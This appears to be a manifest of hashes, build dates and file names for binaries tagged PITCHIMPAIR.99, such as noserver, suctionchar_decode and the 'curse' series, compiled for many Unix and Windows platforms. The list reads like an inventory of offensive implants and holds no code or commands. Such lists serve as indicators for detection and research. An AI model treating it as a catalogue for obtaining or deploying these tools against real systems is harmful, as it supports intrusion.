suctionchar_decode__v__3.1.7.21_x86-linux-slackware-12.0 +E6FBABA5E6C4DC4772255163A2EC1E1875A18277 Thu Jun 24 21:44:45 2010 [PITCHIMPAIR.99] suctionchar_decode__v__3.1.7.22_x86-linux-centos-5.3 +E6FBABA5E6C4DC4772255163A2EC1E1875A18277 Thu Jun 24 21:44:45 2010 [PITCHIMPAIR.99] suctionchar_decode__v__3.1.7.24_sparc-sun-solaris2.8 +E6FBABA5E6C4DC4772255163A2EC1E1875A18277 Thu Jun 24 21:44:45 2010 [PITCHIMPAIR.99] suctionchar_decode__v__3.1.7.26_x86-linux-alt-1.0 +E6FBABA5E6C4DC4772255163A2EC1E1875A18277 Thu Jun 24 21:44:45 2010 [PITCHIMPAIR.99] suctionchar_decode__v__3.1.7.27_x86_64-linux-centos-5.5 +E3D3C8F4B725990028BC3C39C085D2A19CF434A6 Tue Sep 14 22:29:44 2010 [PITCHIMPAIR.99] suctionchar_decode__v__3.1.7.29_x86-linux-centos-5.4 +E6FBABA5E6C4DC4772255163A2EC1E1875A18277 Thu Jun 24 21:44:45 2010 [PITCHIMPAIR.99] suctionchar_decode__v__3.1.7.2_x86-linux-centos-5.5 +E3D3C8F4B725990028BC3C39C085D2A19CF434A6 Tue Sep 14 22:29:44 2010 [PITCHIMPAIR.99] suctionchar_decode__v__3.1.7.30_x86-linux-centos-5.5 +E6FBABA5E6C4DC4772255163A2EC1E1875A18277 Thu Jun 24 21:44:45 2010 [PITCHIMPAIR.99] suctionchar_decode__v__3.1.7.32_x86_64-linux-redhat-enterprise-5.5 +E6FBABA5E6C4DC4772255163A2EC1E1875A18277 Thu Jun 24 21:44:45 2010 [PITCHIMPAIR.99] suctionchar_decode__v__3.1.7.33_sparc-sun-solaris2.8 +36587A410BBF51D5BF4FFD3179C479C62E1C6816 Tue Sep 28 20:39:02 2010 [PITCHIMPAIR.99] suctionchar_decode__v__3.1.7.36_x86-linux-acridmini-sg +36587A410BBF51D5BF4FFD3179C479C62E1C6816 Tue Sep 28 20:39:02 2010 [PITCHIMPAIR.99] suctionchar_decode__v__3.1.7.38_x86-linux-redhat-enterprise-4.0 +36587A410BBF51D5BF4FFD3179C479C62E1C6816 Tue Sep 28 20:39:02 2010 [PITCHIMPAIR.99] suctionchar_decode__v__3.1.7.42_x86-linux-suse-11.0 +E6FBABA5E6C4DC4772255163A2EC1E1875A18277 Thu Jun 24 21:44:45 2010 [PITCHIMPAIR.99] suctionchar_decode__v__3.1.7.43_x86_64-linux-suse-enterprise-10.2 +E6FBABA5E6C4DC4772255163A2EC1E1875A18277 Thu Jun 24 21:44:45 2010 [PITCHIMPAIR.99] suctionchar_decode__v__3.1.7.6_x86-linux-centos-5.4 +E6FBABA5E6C4DC4772255163A2EC1E1875A18277 Thu Jun 24 21:44:45 2010 [PITCHIMPAIR.99] suctionchar_decode__v__3.1.7.7_x86-linux-slackware-13.0 +E6FBABA5E6C4DC4772255163A2EC1E1875A18277 Thu Jun 24 21:44:45 2010 [PITCHIMPAIR.99] suctionchar_decode__v__3.1.7.8_x86-linux-slackware-9.1 +E6FBABA5E6C4DC4772255163A2EC1E1875A18277 Thu Jun 24 21:44:45 2010 [PITCHIMPAIR.99] suctionchar_decode__v__3.1.7.9_x86-linux-slackware-10.0 +58D2281604453C2D88FC50BDF46F5207DC5E4DF6 Wed Oct 20 20:55:53 2010 [PITCHIMPAIR.99] suctionchar_decode__v__3.1.8.1_x86-linux-fedora13 +58D2281604453C2D88FC50BDF46F5207DC5E4DF6 Wed Oct 20 20:55:53 2010 [PITCHIMPAIR.99] suctionchar_decode__v__3.1.8.2_x86_64-linux-centos-5.5 +58D2281604453C2D88FC50BDF46F5207DC5E4DF6 Wed Oct 20 20:55:53 2010 [PITCHIMPAIR.99] suctionchar_decode__v__3.1.8.4_x86-linux-debian-4.0 +58D2281604453C2D88FC50BDF46F5207DC5E4DF6 Wed Oct 20 20:55:53 2010 [PITCHIMPAIR.99] suctionchar_decode__v__3.1.8.6_x86-linux-redhat-enterprise-4.0 +E9C670C39893BEB0414780D826CBEC50477F9F57 Thu Apr 19 17:19:35 2007 [PITCHIMPAIR.99] noserver-3.0.4.1-i386.unknown.freebsd-4.0-static +E9C670C39893BEB0414780D826CBEC50477F9F57 Thu Apr 19 17:19:35 2007 [PITCHIMPAIR.99] noserver-3.0.4.1-i386.unknown.freebsd-4.1-static +E9C670C39893BEB0414780D826CBEC50477F9F57 Thu Apr 19 17:19:35 2007 [PITCHIMPAIR.99] noserver-3.0.4.1-i386.unknown.freebsd-4.2-static +E9C670C39893BEB0414780D826CBEC50477F9F57 Thu Apr 19 17:19:35 2007 [PITCHIMPAIR.99] noserver-3.0.4.1-i386.unknown.freebsd-4.3-static +B0809EC96005F7C9186A198B7999E659231AC73B Thu Apr 19 17:19:29 2007 [PITCHIMPAIR.99] noserver-3.0.4.1-i386.unknown.freebsd-4.4-static +09D2E0C841195BF0D6AF9D619905512B2529B6DA Thu Apr 19 17:19:23 2007 [PITCHIMPAIR.99] noserver-3.0.4.1-i386.unknown.freebsd-4.5-static +09D2E0C841195BF0D6AF9D619905512B2529B6DA Thu Apr 19 17:19:23 2007 [PITCHIMPAIR.99] noserver-3.0.4.1-i386.unknown.freebsd-4.6-static +09D2E0C841195BF0D6AF9D619905512B2529B6DA Thu Apr 19 17:19:23 2007 [PITCHIMPAIR.99] noserver-3.0.4.1-i386.unknown.freebsd-4.7-static +09D2E0C841195BF0D6AF9D619905512B2529B6DA Thu Apr 19 17:19:23 2007 [PITCHIMPAIR.99] noserver-3.0.4.1-i386.unknown.freebsd-4.8-static +09D2E0C841195BF0D6AF9D619905512B2529B6DA Thu Apr 19 17:19:23 2007 [PITCHIMPAIR.99] noserver-3.0.4.1-i386.unknown.freebsd-4.9-static +02B4FACB651E098CC38BC2CD11D4F6EC41710C1B Thu Apr 19 17:26:02 2007 [PITCHIMPAIR.99] noserver-3.0.4.1-i386.unknown.freebsd-6.0-static +8E89B0B7C5A36A7DF5C717512E7A729819C03C39 Thu Apr 19 17:27:42 2007 [PITCHIMPAIR.99] noserver-3.0.4.1-i386.unknown.openbsd-3.4-static +C88C826EB6E9A17A6B2D8B795D331797044C9DA7 Thu Apr 19 17:28:05 2007 [PITCHIMPAIR.99] noserver-3.0.4.1-i386.unknown.openbsd-3.7-static +8956FEB6AAD4D7AF1F674D212A5C0AD74924608F Thu Apr 19 17:31:05 2007 [PITCHIMPAIR.99] noserver-3.0.4.1-i586.pc.linux.gnu.redhat-5.0-static +6C8EF68F96F0DB3E4BB0D4316F7BACC2C54A98F7 Thu Apr 19 17:43:10 2007 [PITCHIMPAIR.99] noserver-3.0.4.1-sparc.unknown.linux.gnu.redhat-6.2-static +03C9E84AFFFDEA64B17666455673BBA56D944574 Fri Oct 16 18:37:41 2009 [PITCHIMPAIR.99] noserver-3.0.4.2-armv5b.linux-static +7ED68306377107047AB86EAEF38676CE18FAA072 Thu Apr 19 17:56:29 2007 [PITCHIMPAIR.99] noserver-3.0.3.4-i386.pc.bsdi-2.1 +63A0528E0F01898A11D0C4AA64F39822A7F1D506 Thu Apr 19 17:07:09 2007 [PITCHIMPAIR.99] noserver-3.0.4.1-alphaev6.dec.osf-4.0f +63A0528E0F01898A11D0C4AA64F39822A7F1D506 Thu Apr 19 17:07:09 2007 [PITCHIMPAIR.99] noserver-3.0.4.1-alphaev6.dec.osf-5.1 +63A0528E0F01898A11D0C4AA64F39822A7F1D506 Thu Apr 19 17:07:09 2007 [PITCHIMPAIR.99] noserver-3.0.4.1-alphaev6.dec.osf-5.1b +5375967571D0ACBECD862CB5BBF18CFCED675180 Thu Apr 19 17:06:02 2007 [PITCHIMPAIR.99] noserver-3.0.4.1-alphaev67.unknown.linux.gnu.redhat-7.0 +D8F3C40D988B263F0EFB2AC998AD72D572F74CE6 Thu Apr 19 17:11:53 2007 [PITCHIMPAIR.99] noserver-3.0.4.1-hppa1.1.hp.hpux-10.20 +D8F3C40D988B263F0EFB2AC998AD72D572F74CE6 Thu Apr 19 17:11:53 2007 [PITCHIMPAIR.99] noserver-3.0.4.1-hppa1.1.hp.hpux-11.00 +D8F3C40D988B263F0EFB2AC998AD72D572F74CE6 Thu Apr 19 17:11:53 2007 [PITCHIMPAIR.99] noserver-3.0.4.1-hppa2.0-hp-hpux-10.20 +D8F3C40D988B263F0EFB2AC998AD72D572F74CE6 Thu Apr 19 17:11:53 2007 [PITCHIMPAIR.99] noserver-3.0.4.1-hppa2.0w-hp-hpux-11.00 +42A88B414EC2B12399A8A583C645F11F10BAA207 Thu Apr 19 17:13:51 2007 [PITCHIMPAIR.99] noserver-3.0.4.1-i386.pc.sco3.2v-5.0.5 +B397B37C756CCFE9264AFABBCAE6DE8B98B3B380 Thu Apr 19 17:14:35 2007 [PITCHIMPAIR.99] noserver-3.0.4.1-i386.pc.solaris-2.10 +B397B37C756CCFE9264AFABBCAE6DE8B98B3B380 Thu Apr 19 17:14:35 2007 [PITCHIMPAIR.99] noserver-3.0.4.1-i386.pc.solaris-2.6 +B397B37C756CCFE9264AFABBCAE6DE8B98B3B380 Thu Apr 19 17:14:35 2007 [PITCHIMPAIR.99] noserver-3.0.4.1-i386.pc.solaris-2.7 +B397B37C756CCFE9264AFABBCAE6DE8B98B3B380 Thu Apr 19 17:14:35 2007 [PITCHIMPAIR.99] noserver-3.0.4.1-i386.pc.solaris-2.8 +B397B37C756CCFE9264AFABBCAE6DE8B98B3B380 Thu Apr 19 17:14:35 2007 [PITCHIMPAIR.99] noserver-3.0.4.1-i386.pc.solaris-2.9 +E40FDAB8C35B8132E101E164247939474983CD36 Thu Apr 19 17:16:56 2007 [PITCHIMPAIR.99] noserver-3.0.4.1-i386.unknown.freebsd-4.0 +E40FDAB8C35B8132E101E164247939474983CD36 Thu Apr 19 17:16:56 2007 [PITCHIMPAIR.99] noserver-3.0.4.1-i386.unknown.freebsd-4.1 +E40FDAB8C35B8132E101E164247939474983CD36 Thu Apr 19 17:16:56 2007 [PITCHIMPAIR.99] noserver-3.0.4.1-i386.unknown.freebsd-4.2 +E40FDAB8C35B8132E101E164247939474983CD36 Thu Apr 19 17:16:56 2007 [PITCHIMPAIR.99] noserver-3.0.4.1-i386.unknown.freebsd-4.3 +E5BFB9F37B3BFC117FBE792F2E2289A20B30B8E1 Thu Apr 19 17:17:03 2007 [PITCHIMPAIR.99] noserver-3.0.4.1-i386.unknown.freebsd-4.4 +E0B55421A78EFD29B4C99B46F9E692D83FB21891 Thu Apr 19 17:17:14 2007 [PITCHIMPAIR.99] noserver-3.0.4.1-i386.unknown.freebsd-4.5 +E0B55421A78EFD29B4C99B46F9E692D83FB21891 Thu Apr 19 17:17:14 2007 [PITCHIMPAIR.99] noserver-3.0.4.1-i386.unknown.freebsd-4.6 +E0B55421A78EFD29B4C99B46F9E692D83FB21891 Thu Apr 19 17:17:14 2007 [PITCHIMPAIR.99] noserver-3.0.4.1-i386.unknown.freebsd-4.7 +E0B55421A78EFD29B4C99B46F9E692D83FB21891 Thu Apr 19 17:17:14 2007 [PITCHIMPAIR.99] noserver-3.0.4.1-i386.unknown.freebsd-4.8 +E0B55421A78EFD29B4C99B46F9E692D83FB21891 Thu Apr 19 17:17:14 2007 [PITCHIMPAIR.99] noserver-3.0.4.1-i386.unknown.freebsd-4.9 +8EF8361FEAA1E004B3121ECA6DC5BE747AFBE7D0 Thu Apr 19 17:25:33 2007 [PITCHIMPAIR.99] noserver-3.0.4.1-i386.unknown.freebsd-6.0 +88F95C0A555A5A4EF5819D9C1318901D0541E866 Thu Apr 19 17:27:32 2007 [PITCHIMPAIR.99] noserver-3.0.4.1-i386.unknown.openbsd-3.4 +D49DD4FE1F4E4C9CD278E5E14A8B566A328E4C9F Thu Apr 19 17:27:57 2007 [PITCHIMPAIR.99] noserver-3.0.4.1-i386.unknown.openbsd-3.7 +2F71D6B485BBE769C030B9B771AFD4C0A5CFE390 Thu Apr 19 17:30:21 2007 [PITCHIMPAIR.99] noserver-3.0.4.1-i586.pc.linux.gnu +2F71D6B485BBE769C030B9B771AFD4C0A5CFE390 Thu Apr 19 17:30:21 2007 [PITCHIMPAIR.99] noserver-3.0.4.1-i586.pc.linux.gnu.redhat-5.0 +7C5742E77B331033F5AB955EDE4A6E2EA8DACBED Thu Apr 19 17:34:20 2007 [PITCHIMPAIR.99] noserver-3.0.4.1-i686.pc.linux.gnu +7F0A47AE78AB960BCC3F87402D6F6AA1B4AA7784 Thu Apr 19 17:35:38 2007 [PITCHIMPAIR.99] noserver-3.0.4.1-i686.pc.linux.gnu.redflag-2.0 +EA1749AE465D876C8CF7EB67B8B0048E53490A95 Thu Apr 19 17:36:30 2007 [PITCHIMPAIR.99] noserver-3.0.4.1-i686.pc.linux.gnu.redhat-ES +B65EDF4FA5E0B860186E561A420929B4779AE670 Thu Apr 19 17:32:06 2007 [PITCHIMPAIR.99] noserver-3.0.4.1-i686.pc.linux.gnulibc1.slackware-4.0.0 +7C5742E77B331033F5AB955EDE4A6E2EA8DACBED Thu Apr 19 17:34:20 2007 [PITCHIMPAIR.99] noserver-3.0.4.1-i686.pc.linux.gnuoldld.redhat-6.0 +B9071AF136BCDA152F56A6B78D7925DBEE799991 Thu Apr 19 17:37:12 2007 [PITCHIMPAIR.99] noserver-3.0.4.1-mips.sgi.irix-5.3 +B9071AF136BCDA152F56A6B78D7925DBEE799991 Thu Apr 19 17:37:12 2007 [PITCHIMPAIR.99] noserver-3.0.4.1-mips.sgi.irix-6.3 +B9071AF136BCDA152F56A6B78D7925DBEE799991 Thu Apr 19 17:37:12 2007 [PITCHIMPAIR.99] noserver-3.0.4.1-mips.sgi.irix-6.4 +B9071AF136BCDA152F56A6B78D7925DBEE799991 Thu Apr 19 17:37:12 2007 [PITCHIMPAIR.99] noserver-3.0.4.1-mips.sgi.irix-6.5 +A07BA0D0B25E354FE46E8FFA8FA3E752B05C237D Thu Apr 19 17:38:47 2007 [PITCHIMPAIR.99] noserver-3.0.4.1-powerpc.ibm.aix-4.3.3.0 +A07BA0D0B25E354FE46E8FFA8FA3E752B05C237D Thu Apr 19 17:38:47 2007 [PITCHIMPAIR.99] noserver-3.0.4.1-powerpc.ibm.aix-5.1 +A07BA0D0B25E354FE46E8FFA8FA3E752B05C237D Thu Apr 19 17:38:47 2007 [PITCHIMPAIR.99] noserver-3.0.4.1-powerpc.ibm.aix-5.2 +A07BA0D0B25E354FE46E8FFA8FA3E752B05C237D Thu Apr 19 17:38:47 2007 [PITCHIMPAIR.99] noserver-3.0.4.1-powerpc.ibm.aix-5.3 +8C2460E48107362780E407CD2B41B58D34F980CB Thu Apr 19 17:40:47 2007 [PITCHIMPAIR.99] noserver-3.0.4.1-sparc.sun.solaris-2.10 +2776E295F8B083ACC0486C4F91C6777D2A5017CF Thu Apr 19 17:39:32 2007 [PITCHIMPAIR.99] noserver-3.0.4.1-sparc.sun.solaris-2.3 +35D98B274158B636546377FC0430FE1B9A89191D Thu Apr 19 17:39:37 2007 [PITCHIMPAIR.99] noserver-3.0.4.1-sparc.sun.solaris-2.4 +663AB7341E250B9DB57386A9BAA7B1F55A84D516 Thu Apr 19 17:39:42 2007 [PITCHIMPAIR.99] noserver-3.0.4.1-sparc.sun.solaris-2.5 +59E1D30E00F4D9B39759E77C1E8C054A379F3F1E Thu Apr 19 17:39:55 2007 [PITCHIMPAIR.99] noserver-3.0.4.1-sparc.sun.solaris-2.5.1 +59E1D30E00F4D9B39759E77C1E8C054A379F3F1E Thu Apr 19 17:39:55 2007 [PITCHIMPAIR.99] noserver-3.0.4.1-sparc.sun.solaris-2.6 +8C2460E48107362780E407CD2B41B58D34F980CB Thu Apr 19 17:40:47 2007 [PITCHIMPAIR.99] noserver-3.0.4.1-sparc.sun.solaris-2.7 +8C2460E48107362780E407CD2B41B58D34F980CB Thu Apr 19 17:40:47 2007 [PITCHIMPAIR.99] noserver-3.0.4.1-sparc.sun.solaris-2.8 +8C2460E48107362780E407CD2B41B58D34F980CB Thu Apr 19 17:40:47 2007 [PITCHIMPAIR.99] noserver-3.0.4.1-sparc.sun.solaris-2.9 +F8F75E6CEE8382771D3C5192ABE87D454ED19D9F Thu Apr 19 17:43:02 2007 [PITCHIMPAIR.99] noserver-3.0.4.1-sparc.unknown.linux.gnu.redhat-6.2 +03C9E84AFFFDEA64B17666455673BBA56D944574 Fri Oct 16 18:37:41 2009 [PITCHIMPAIR.99] noserver-3.0.4.2-armv5b.linux +BBF1BFDBC291FA14CBB2A621A43028171111BF89 Thu Mar 6 17:40:19 2008 [PITCHIMPAIR.99] cursebingo.sunos5.10_v.1.0.1.2 +FEBE32E3A6494E67FC9B15836668076175D401D2 Mon Mar 15 15:02:26 2010 [PITCHIMPAIR.99] cursebingo.v2.0.0.3.sunos5.8_v.solaris +70EBE969E97549BC164CE3E7853E0322774F5938 Thu Mar 6 21:06:19 2008 [PITCHIMPAIR.99] cursebongo.sunos5.10_v.1.0.0.4 +61330208EEB5DB71B46EF34CC9BC8FA99F20A9AF Tue Jun 23 18:52:29 2009 [PITCHIMPAIR.99] cursebongo.sunos5.8_v.1.1.0.1 +F9E4F40422E5A2DEAEAB4ECD11486B524B8F4606 Mon May 3 12:23:09 2010 [PITCHIMPAIR.99] cursebongo.sunos5.8_v.2.0.0.1 +9A686C7C2039FB27E8FB8DADAB80B93608E7313C Mon Nov 3 15:29:43 2008 [PITCHIMPAIR.99] cursechicken.sunos5.8_v.1.0.0.1 +F6A5BFFB110B7485CCF79D9B5C9364378F8918CB Fri Apr 24 16:39:03 2009 [PITCHIMPAIR.99] cursechicken.sunos5.8_v.1.0.1.4 +5B35A47C88CF7F65DF4F642ECC82A2E90C47990E Tue Aug 11 16:33:15 2009 [PITCHIMPAIR.99] curseflower.mswin32_v.1.0.0.3 +68747E12EE13BA73A047739F10542D04438A4257 Wed Jan 27 16:34:35 2010 [PITCHIMPAIR.99] cursegismo.hpuxb.11.00_v.2.0.0.2 +5F068416CE665F596C67F04AAD3006BF7FDD207D Wed Jan 27 16:34:35 2010 [PITCHIMPAIR.99] cursegismo.linuxrh7.3_v.2.0.0.2 +C07FB6FADECF76D62146410C2AA4C73A60F708B5 Mon Apr 12 14:30:21 2010 [PITCHIMPAIR.99] cursegismo.sunos5.8.i386_v.2.0.0.5 +C2543079CB5A8D4C946D83CFB77C39F79FA50D04 Mon Jun 11 20:01:36 2007 [PITCHIMPAIR.99] cursegismo.sunos5.8_v.1.1.0.4 +D123F44AD9BDEFB51DF6B546A0C4D44976844DCF Wed Sep 19 12:22:03 2007 [PITCHIMPAIR.99] cursegismo.sunos5.8_v.1.1.1.1 +A355D9F71770457D63693191A4FE91BFD0249154 Wed Oct 22 18:15:34 2008 [PITCHIMPAIR.99] cursegismo.sunos5.8_v.1.2.0.2 +58B05339AD3B6F3EB7BAF276D95006719C6003C5 Wed Jan 27 16:34:35 2010 [PITCHIMPAIR.99] cursegismo.sunos5.8_v.2.0.0.2 +B974209D7E0B422B15200043C5735D8A23970AFD Wed Sep 19 12:22:35 2007 [PITCHIMPAIR.99] cursegismo.sunos5.9_v.1.1.1.1 +F0A3799CBE0ED650BEC3934D7CE65F9F5688C871 Thu Apr 9 15:32:28 2009 [PITCHIMPAIR.99] cursehappy.hp-uxb.11.00_v.5.0.0.5 +384AA6D7DD41D8408114C62107EBBA2A2CB9AED8 Mon Mar 1 16:56:59 2010 [PITCHIMPAIR.99] cursehappy.hp-uxb.11.00_v.6.0.0.1 +5FECC5EBB2F2ABE8D7D089D33F7D99F9D4A6E764 Wed Jan 2 21:29:34 2008 [PITCHIMPAIR.99] cursehappy.hp-uxb.11.11_v.4.1.2.4 +CA5968681124006227243C3C322B62BD813E037E Thu Aug 19 19:52:11 2010 [PITCHIMPAIR.99] cursehappy.hpux11.00_v.6.1.0.1 +BDC814273DACB4BE977263EC1B0097AD18FFA74B Thu Aug 19 19:52:11 2010 [PITCHIMPAIR.99] cursehappy.linuxrh7.3_v.6.1.0.1 +54837AFF00C9D826FE56E3A86E3852579F6ED92D Thu Apr 9 15:32:40 2009 [PITCHIMPAIR.99] cursehappy.mswin32_v.5.0.0.5 +BCD64F1AC0C11924404518CB75F530E5667B4A38 Mon Mar 1 16:56:59 2010 [PITCHIMPAIR.99] cursehappy.rhl7.3_v.6.0.0.1 +528BEC7AAB990BC2A8C5F8ED6A9B3461572857BD Thu Apr 9 15:32:51 2009 [PITCHIMPAIR.99] cursehappy.sunos5.8_v.5.0.0.5 +A7E4F872135190C1E662D2D6B49269FD88A20D34 Mon Mar 1 16:56:59 2010 [PITCHIMPAIR.99] cursehappy.sunos5.8_v.6.0.0.1 +A397345D0E586E62B5B02227404D9329763D3884 Thu Aug 19 19:52:11 2010 [PITCHIMPAIR.99] cursehappy.sunos5.8_v.6.1.0.1 +80D20D3C88BB2F6813131FB089FE0D789093C4C8 Wed Jan 2 21:34:56 2008 [PITCHIMPAIR.99] cursehappy.v4.1.2.4.sunos5.8_v.4.1.2.4_solaris8 +BC9C23E1576DD46FF6DD22AC608A7DFDBE57019A Mon Mar 1 16:56:59 2010 [PITCHIMPAIR.99] cursehappy.win2k_v.6.0.0.1 +ECBFA750393D077DE74337B475C794846651BBA9 Thu Aug 19 19:52:11 2010 [PITCHIMPAIR.99] cursehappy.win2k_v.6.1.0.1 +B09E380F82BF5117D36B4FDDD285BF28CC60B4CA Thu Sep 2 11:31:27 2010 [PITCHIMPAIR.99] cursehelper.aix5.1_v.2.1.0.2 +FAE2E9F785EE8BA16A435387499A7536E0002AC6 Thu Aug 6 14:57:59 2009 [PITCHIMPAIR.99] cursehelper.hp-uxb.11.00_v.1.1.0.1 +E69F528339D6929D4BEC387DDEBAB93571C5F97D Thu Sep 2 11:31:27 2010 [PITCHIMPAIR.99] cursehelper.hpux11.00_v.2.1.0.2 +6723CD43701BFF0151599B34DE352830B36ADA33 Thu Aug 6 14:58:09 2009 [PITCHIMPAIR.99] cursehelper.sunos5.8_v.1.1.0.1 +E7D259F9CCE79188C62F44957119DDA9CEF11B3D Thu Sep 2 11:31:27 2010 [PITCHIMPAIR.99] cursehelper.sunos5.8_v.2.1.0.2 +27DA6D7D55FBA25AF4B712D408946E076528522C Thu Sep 2 11:31:27 2010 [PITCHIMPAIR.99] cursehelper.win2k_v.2.1.0.2 +E21251DC180107EC1784B3E56F50EA04F491BF48 Wed Jun 11 18:30:26 2008 [PITCHIMPAIR.99] cursehole.v1.0.0.6.sunos5.9_v.solaris_9 +E535E649A9A908710446C3A52EFC1B3737DA9A1B Fri Sep 26 15:54:20 2008 [PITCHIMPAIR.99] cursehole.v1.1.0.3.aix5.1_v.aix_51 +8E8337DC0671786AAD3E8F0AFD1177951AF24692 Mon Aug 17 18:47:42 2009 [PITCHIMPAIR.99] cursehole.v1.1.1.1.aix5.1_v.aix_51 +BB0CD960EB6C0BE4D6D8131D531DF8C990A0449C Wed Jan 2 22:23:15 2008 [PITCHIMPAIR.99] cursehummer.hp-uxb.11.11_v.1.0.0.11 +4D9445AF416A3610C581BC3E1470A244F7FE43E1 Thu Jun 28 18:46:46 2007 [PITCHIMPAIR.99] cursehydrant.hp-uxb.11.00_v.6.0.0.6 +C2D11BB34B2AE8E10E1244FAEECD6A5165775B3D Wed Feb 18 11:36:47 2009 [PITCHIMPAIR.99] cursehydrant.hp-uxb.11.00_v.6.1.0.2 +FF0ADBE01DF63C27EA0BF1FE7203B96C2DDA10E4 Thu Jun 28 18:47:52 2007 [PITCHIMPAIR.99] cursehydrant.hp-uxb.11.11_v.6.0.0.6 +9ADACFA5DEC099FC32FEC88ABD0D905BD8C5FF26 Thu Feb 5 13:49:56 2009 [PITCHIMPAIR.99] cursehydrant.sunos5.8_v.6.1.0.2 +FDA906D18486E773F642EDCA87F14F4419A6EDD3 Tue Nov 10 11:29:38 2009 [PITCHIMPAIR.99] cursejoker.aix5.1_v.1.0.0.4 +44030F49097E046629B8DCC5AD729CC36E654EDE Fri May 1 14:32:25 2009 [PITCHIMPAIR.99] cursekettle.sunos5.8_v.1.0.0.2 +68E10C915DF7D7B2255EBB6884DAFD2106F5230C Mon Sep 29 17:58:40 2008 [PITCHIMPAIR.99] curselion.aix.5.1_v.1.0.0.10 +B1D14480EC03F8F2642C6A08DA8DD9817C304845 Wed Apr 21 16:15:46 2010 [PITCHIMPAIR.99] cursemagic.aix5.1_v.2.0.1.1 +D12C018B41F792E455220FED3529AA0C874C31B5 Wed Apr 21 16:15:41 2010 [PITCHIMPAIR.99] cursemagic.hpux11.00_v.2.0.1.1 +71E41D10EF31214208C44F61B3CB68C29AD264C8 Thu Dec 18 19:06:03 2008 [PITCHIMPAIR.99] cursemagic.linux2.4.21-37.elsmp_v.1.2.0.4 +8D6A2E8FA28C25B38FFCA4E4A86151E66C8BD3AD Tue Apr 14 18:41:05 2009 [PITCHIMPAIR.99] cursemagic.linux2.4.21-37.elsmp_v.1.3.0.5 +0041CDB24EE09BFD452DBB5B50F26E4A35DBAB01 Fri Apr 9 10:40:04 2010 [PITCHIMPAIR.99] cursemagic.linuxrh7.3_v.2.0.0.1 +4AD57E8037F3484AA18191B349FD83018A264F0E Tue Apr 20 18:56:43 2010 [PITCHIMPAIR.99] cursemagic.linuxrh7.3_v.2.0.1.1 +2E74289E6EDC96321A753611B9BE1CBC7C5497F2 Fri Nov 6 12:41:52 2009 [PITCHIMPAIR.99] cursemagic.rhl7.3_v.1.3.0.5 +36AB92073CCCE92F391741D1B159F26A4D0EE598 Fri Apr 9 10:37:34 2010 [PITCHIMPAIR.99] cursemagic.solaris5.8_v.2.0.0.1 +9433A5C5E08D33D175989FDEEC16F8D354A39295 Tue Apr 20 18:56:43 2010 [PITCHIMPAIR.99] cursemagic.solaris5.8_v.2.0.1.1 +44D17D2946903A3845C03469FC99A6134D0A4E78 Tue Jan 23 15:15:39 2007 [PITCHIMPAIR.99] cursemagic.sunos5.8_v.1.0.0.0 +26EB7E80E0DBF3A826777201841574E6449D0B3D Wed Sep 19 12:28:08 2007 [PITCHIMPAIR.99] cursemagic.sunos5.8_v.1.1.0.3 +D7E2664D29BD033C6A9E0CD19EE8A63C78917BA3 Thu Dec 18 19:09:11 2008 [PITCHIMPAIR.99] cursemagic.sunos5.8_v.1.2.0.2 +176146E99E2CEDA52B9D40496C543F8953FEABC7 Tue Apr 14 18:41:15 2009 [PITCHIMPAIR.99] cursemagic.sunos5.8_v.1.3.0.5 +F361C22CF5E7C71A5F614EBBBBE9CF3862DF12A9 Wed Sep 19 12:28:40 2007 [PITCHIMPAIR.99] cursemagic.sunos5.9_v.1.1.0.3 +8C3CC54D9674195BA3C0414D99AE58021077C6EB Fri Aug 6 14:27:12 2010 [PITCHIMPAIR.99] cursenag.sunos5.8_v.1.0.0.1 +7D31E38170CBAECFEB16C35052DBF1B5EB3FCFE4 Thu Jul 15 15:49:59 2010 [PITCHIMPAIR.99] cursequake.sunos5.8_v.1.0.0.2 +850D25AA575411A4BDF7E9B7C58769DEF12BE0C4 Fri Jan 16 20:35:21 2009 [PITCHIMPAIR.99] curserazor.mswin32_v.1.3.0.5 +886D44605350CEAB7D5F19D597F2B6D1521EB4B4 Thu Mar 26 12:52:26 2009 [PITCHIMPAIR.99] curserazor.mswin32_v.1.3.1.8 +3245125AFA3FFB596D3CB9F0B523E8615C026876 Mon Mar 12 21:15:54 2007 [PITCHIMPAIR.99] curserazor.sunos5.10_v.1.1 +CB6FEFCECF9ABA6BA8C3C7EA054274F4198D575D Thu Mar 6 19:50:10 2008 [PITCHIMPAIR.99] curserazor.sunos5.10_v.1.1.1.1 +0A8514E8C089B211852ED29A8C82B02C4F5A60DD Mon Aug 4 15:49:51 2008 [PITCHIMPAIR.99] curserazor.sunos5.10_v.1.2.0.7 +8677E9C383F0FE97C6A55970B80C233B89C81B60 Fri Jan 16 20:35:37 2009 [PITCHIMPAIR.99] curserazor.sunos5.10_v.1.3.0.5 +C242517D2BB16FD2901D9829E1F66018E8260D0C Thu Mar 26 12:52:35 2009 [PITCHIMPAIR.99] curserazor.sunos5.8_v.1.3.1.8 +03626AFAC3D0469590B55682B6EFBEE738B27945 Fri Feb 13 11:34:57 2009 [PITCHIMPAIR.99] curseroot.aix5.1_v.1.2.0.2 +E7875A6E62B59FFFD421EA00D305D5CA94803F53 Tue May 19 18:51:00 2009 [PITCHIMPAIR.99] curseroot.aix5.1_v.1.2.2.9 +7547C8556282630E574567FCA4D796384B82E53D Fri Dec 11 14:02:36 2009 [PITCHIMPAIR.99] curseroot.aix5.1_v.2.0.0.3 +34ADF95BC25FDCA3FB13F303D6761788B97B15A3 Wed Jan 6 19:52:30 2010 [PITCHIMPAIR.99] curseroot.hpuxb.11.00_v.2.0.0.3 +57531EB4F650F0E42A0E6EDDC3676957F8BDF7D5 Wed Jun 17 10:44:18 2009 [PITCHIMPAIR.99] curseroot.linux2.6.5-7.97-smp_v.1.2.2.9 +4AB6CB0121EE07A99E0BFCAEDA6863A465503136 Fri Dec 11 14:02:36 2009 [PITCHIMPAIR.99] curseroot.linux2.6.5-7.97-smp_v.2.0.0.3 +084C1BEF4F49A700BCA931BC3FBA20970BC7BE8A Tue Jan 20 17:56:55 2009 [PITCHIMPAIR.99] curseroot.mswin32_v.1.2.0.2 +65B43BBC9431BCF87946EDD3AA039574C1CA9DA6 Tue May 19 18:51:10 2009 [PITCHIMPAIR.99] curseroot.mswin32_v.1.2.2.9 +D1EEC186A7A7A26232ABAEAE92192A66686B5EA3 Fri Feb 13 11:35:36 2009 [PITCHIMPAIR.99] curseroot.sunos5.8_v.1.2.0.2 +D1D962B6581715B87BF5740649E6DC445FB7F4E3 Tue May 19 18:51:20 2009 [PITCHIMPAIR.99] curseroot.sunos5.8_v.1.2.2.9 